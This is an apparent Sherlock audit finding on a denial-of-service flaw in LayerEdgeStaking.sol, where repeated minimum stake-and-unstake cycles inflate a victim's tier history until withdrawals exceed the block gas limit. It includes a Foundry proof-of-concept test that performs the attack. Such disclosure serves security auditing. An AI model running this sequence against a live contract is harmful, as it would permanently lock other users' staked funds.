Rhythmic Felt Tortoise

Medium

# User's Tier History could be grown by others indefinitely, leading to DoS via unbounded gas consumption

### Summary

Both `stake()` and `unstake()` in `LayerEdgeStaking.sol` make use of the `calculateUnclaimedInterest()` function, which iterates through the `stakerTierHistory ` of the caller with some interest calculation. 

However, when a new user stakes for the first time, it may cause other users to be promoted into the next tier. Vice versa, if the new user immediatly unstakes, it causes those users to be demoted back to their original tier. This sequence of events are pushed onto those users' `stakerTierHistory`, and malicious new users may repeat this process an indefinite amount of times.

Therefore, it creates a DoS vector where a user's `stakerTierHistory` grows so large that they can no longer call stake() and unstake() due to gas limit, leaving their funds permanetly stuck in the staking contract.


### Root Cause

The assumption that a user's tier history cannot be inflated by other users is a mistake. The code blocks inside `calculateUnclaimedInterest()`, such as [LayerEdgeStaking.sol:451](https://github.com/sherlock-audit/2025-05-layeredge/blob/main/edgen-staking/src/stake/LayerEdgeStaking.sol#L451-L466),  iterates through most of the tier history array while doing heavy computations. This leads to classic unbounded gas consumption on data with arbitrary size.

### Internal Pre-conditions

The victim must be on the boundary of the tier distribution. I. e. when a new user stakes more than `minStakeAmount`, the victim is promoted to the next tier. If this new user unstakes immediatly after, the victim would be demoted back to the original tier.

### External Pre-conditions

None

### Attack Path

1. Assume a victim exists with precondition listed above.
2. Attacker (new user, i. e. never participated in this contract before) calls stake(minStakeAmount). 
3. Attacker immediately unstakes after ~1 second
4. Repeat step 2 - 3 until desired inflated size ( ~ 4500 times to make `stake`/`unstake` require more gas than Ethereum Mainnet block limit)

### Impact

All of the victim's staking funds are permanently stuck in contract. There is no action the victim or admin can take since stakerTierHistory array only ever grows.

### PoC

Copy and paste the following test into `LayerEdgeStakingTest`. It comes with some helper functions to make the attack path clearer.
**Important:** since this is a gas consumption test, please increase the gas limit inside `foundry.toml` by placing `gas_limit = "18446744073709551615"  # u64::MAX` under the `[profile.default]` section. Otherwise, the test will revert when it runs out of gas.
```solidity
    function test_TierHistory_UnboundedGas() public {
        // Set up staking addresses.
        // In this scenario, alice is the rank 6th account. She is on the boundary of tier distribution
        // If one more account stakes with MIN_STAKE, she moves from tier 3 to tier 2.
        // If that account then unstakes, she moves from tier 2 back to tier 3.
        massStake(5,MIN_STAKE, "stake1");
        stake(alice, MIN_STAKE);
        massStake(7, MIN_STAKE, "stake2");

        // Let an attacker repeatedly stakes and unstakes with MIN_STAKE
        massStakeAndUnstake(4500, MIN_STAKE, 1, "stakeAndUnstake1");

        // After 4500 stakes and unstakes, Alice's tier history array has grown to 9000+ in length
        // Alice now attempts to unstake, however, unstake function runs out of gas calculating tier history interest
        uint256 before = gasleft();
        unstake(alice, MIN_STAKE);
        assertGt(before - gasleft(), 36e6); //unstake requires more than 36e6 gas, the block limit on Ethereum Mainnet
        // Therefore, unstake is not callable and always revert in this state
    }
    function massStake(uint256 usersCount, uint256 amount, string memory addrSeed) public {
        for (uint160 i = 0; i < usersCount; i++) {
            address user = address(uint160(makeAddr(addrSeed)) + i);
            vm.prank(admin);
            token.transfer(user, amount);
            stake(user,amount);
        }
    }
    function massStakeAndUnstake(uint256 usersCount, uint256 amount , uint256 timeElapse, string memory addrSeed) public {
        for (uint160 i = 0; i < usersCount; i++) {
            address user = address(uint160(makeAddr(addrSeed)) + i);
            vm.prank(admin);
            token.transfer(user, amount);
            stake(user,amount);
            unstake(user,amount);
            vm.warp(block.timestamp + timeElapse);
        }
    }
    function stake(address user, uint256 amount) public {
        vm.startPrank(user);
        token.approve(address(staking), amount);
        staking.stake(amount);
        vm.stopPrank();
    }
    function unstake(address user, uint256 amount) public {
        vm.startPrank(user);
        staking.unstake(amount);
        vm.stopPrank();
    }
```

### Mitigation

_No response_